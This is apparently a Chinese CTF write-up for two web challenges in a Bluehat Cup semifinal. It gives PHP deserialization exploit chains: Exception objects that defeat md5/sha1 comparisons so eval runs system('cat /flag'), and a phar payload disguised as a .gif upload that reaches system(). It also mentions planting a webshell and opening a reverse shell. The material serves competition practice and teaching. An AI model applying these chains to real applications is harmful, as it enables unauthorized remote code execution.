0%

bluecat

蓝帽杯复赛Web方向WP

信息论考试推迟,导致又能去蓝帽杯线下了,可惜主办方跟我们说你们还是线上打吧,但是外地旅游的去意已决,最后硬着头皮和队友们还有学长去哈尔滨了,这波叫去线下打线上赛。

jack and rose

反序列化链题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//highlight_file(__file__);


class Jack
{
private $action;


function __set($a, $b)
{
$b->$a();

}

}

class Love {

public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}

private function action(){
echo "jack love rose";
}

}
class Titanic{
public $people;
public $ship;
function __destruct(){

$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
echo "a";

if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}


?>

首先看利用链的重点,需要绕过md5和sha1,目前我所知的绕过方法只有数组,但是数组绕过后,eval没法执行数组,所以没法用数组绕。

参考了这篇文章https://mayi077.gitee.io/2020/08/14/%E5%88%A9%E7%94%A8-Exception%E7%B1%BB-%E7%BB%95%E8%BF%87md5-sha1-%E7%AD%89%E7%B3%BB%E5%88%97/

大概思路就是找到一个类的两个对象,使得他们的__tostring函数一样然而对象不一样,找到了Exception类,他的tostring就是异常的信息。这样是可以绕过的,那么问题就是如何利用eval,可以看到这个tostring后面还有很多乱七八糟的代码,

image-20210606102237400

所以我们需要?>闭合php方可进行RCE。

然后开始从头开始找链子,所有魔术方法中只有Titanic的析构函数能作为入口,这里面调用了一个对象的action,然后进行了赋值,这块很明显就是用Jack类的__set方法激活,这个方法会再调用一个函数,现在只剩下Love类的__call方法,call这块会进行一个函数回调,传入一个Rose类的话就会调用__invoke,然后就完了。

因为exception类里有private和protected类型,所以最终一定要url编码!!(被这卡了半天真是蠢死了

1
2
3
4
5
6
7
8
9
10
11
12
$cmd ='system("cat /flag");?>';
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
$timeline = new Rose();
$timeline->var1 = $ex1;
$timeline->var2 = $ex2;
$tt = new Titanic();
$J = new Jack();
$love = new Love();
$love->var = $timeline;
$tt->ship = $love;
$tt->people = $J;
echo urlencode(serialize($tt)) ;

顺便记录一下遍历php各个类的方法:

1
2
3
4
5
6
7
<?php
$classes = get_declared_classes(); //返回由已定义类的名字所组成的数组
foreach ($classes as $c) { //get_class_methods返回由类的方法名组成的数组
if (in_array('__toString', get_class_methods($c))){
echo $c."\n";
}
}

不一样的web

注释里藏有Read类和Test类,界面有一个上传头像,虽说是要求gif,实则没有任何过滤,仅要求文件末尾是.gif,传个稍微大一点的头像就500了,传入成功后会告诉我们头像的地址,下面有一个输入地址的框可以显示头像是否成功上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Test
{
public $f;

public function __construct($value)
{
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}
class Read
{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}

唯一的反序列化点就是下面那个Url了,本地生成phar然后修改后缀为.gif直接上传,然后在下面用phar://触发反序列化。

1
2
3
4
5
6
7
8
$phar = new Phar("aa.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$a = new Test('Read::file_get');//读lib.php
$a = new Test('phpinfo');//获取phpinfo()
$phar->setMetadata($a);
$phar->stopBuffering();

这题很sb的一点是每次只能上传一个文件,所以我还得反复开关靶机。。

新获取到的lib.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
class Modifier
{
public $old_id;
public $new_id;
public $p_id;

public function __construct()
{
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "1";
}

public function __get($value)
{
$new_id = $value;
$this->old_id = random_bytes(16);
if ($this->old_id === $this->new_id) {
system($this->p_id);
}
}
}


class Files
{
public $filename;

public function __construct($filename)
{
$this->filename = $this->FilesWaf($filename);
}

public function __wakeup()
{
$this->FilesWaf($this->filename);
}

public function __toString()
{
return $this->filename;
}

public function __destruct()
{
echo "Your file is " . $this->FilesWaf($this->filename) . ".</br>";

}

public function FilesWaf($name)
{
if (stristr($name, "/") !== False) {
return "index.php";
}
return $name;
}
}


class User
{
public $name;
public $profile;

public function __construct($name)
{
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}

public function __wakeup()
{
$this->UserWaf($this->name);
}

public function __toString()
{
return $this->profile->name;
}

public function __destruct()
{
echo "baibai";
echo "Hello " . $this->UserWaf($this->name) . ".</br>";

}

public function UserWaf($name)
{
if (strlen($name) > 10) {
return "admin";
}
if (!preg_match("/[a-f0-9]/iu", $name)) {
return "admin";
}
return $name;
}
}

继续找利用链,终点是Modifier类的__get函数。很离谱的是$new_id = $value;,没有this->。所以this->new_id为自己可控的,为了绕过随机数检测,我们用引用赋值绕过即可。
如何触发__get,就去访问Modifier类的不存在的参数,审计了一遍,File类不存在,唯一有的就是User类的__tostringreturn $this->profile->name;。所以要把User类的profile赋为Modifier类,__tostring在UserWaf的时候触发,所以Username中的name应该也是一个User类。

1
2
3
4
5
6
7
8
9
10
11
12
$b = new User('fyhssgss');
$a = new Modifier();
$b->name = $b;
$a->p_id = 'ls';
$b->profile = $a;
$a->new_id = &$a->old_id;
$phar = new Phar("aa.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->stopBuffering();

传入后成功get shell,cat /flag后啥也没有。所以得找flag。但是一次只能传一个指令,干脆直接写个马到另一个php,然后用蚁剑去连(以下的操作没有实操过

但是好像连上去之后蚁剑十分不稳定,所以反弹shell到自己服务器上,在game目录下找到一个/game,逆出来发现是登录密码,然后进去在/etc/passwd,存在home用户,家目录为/home/flag,flag在/home/flag/f14g_1s_h3r3

最后,祝贺or4nge队晋级决赛!

image-20210606152331367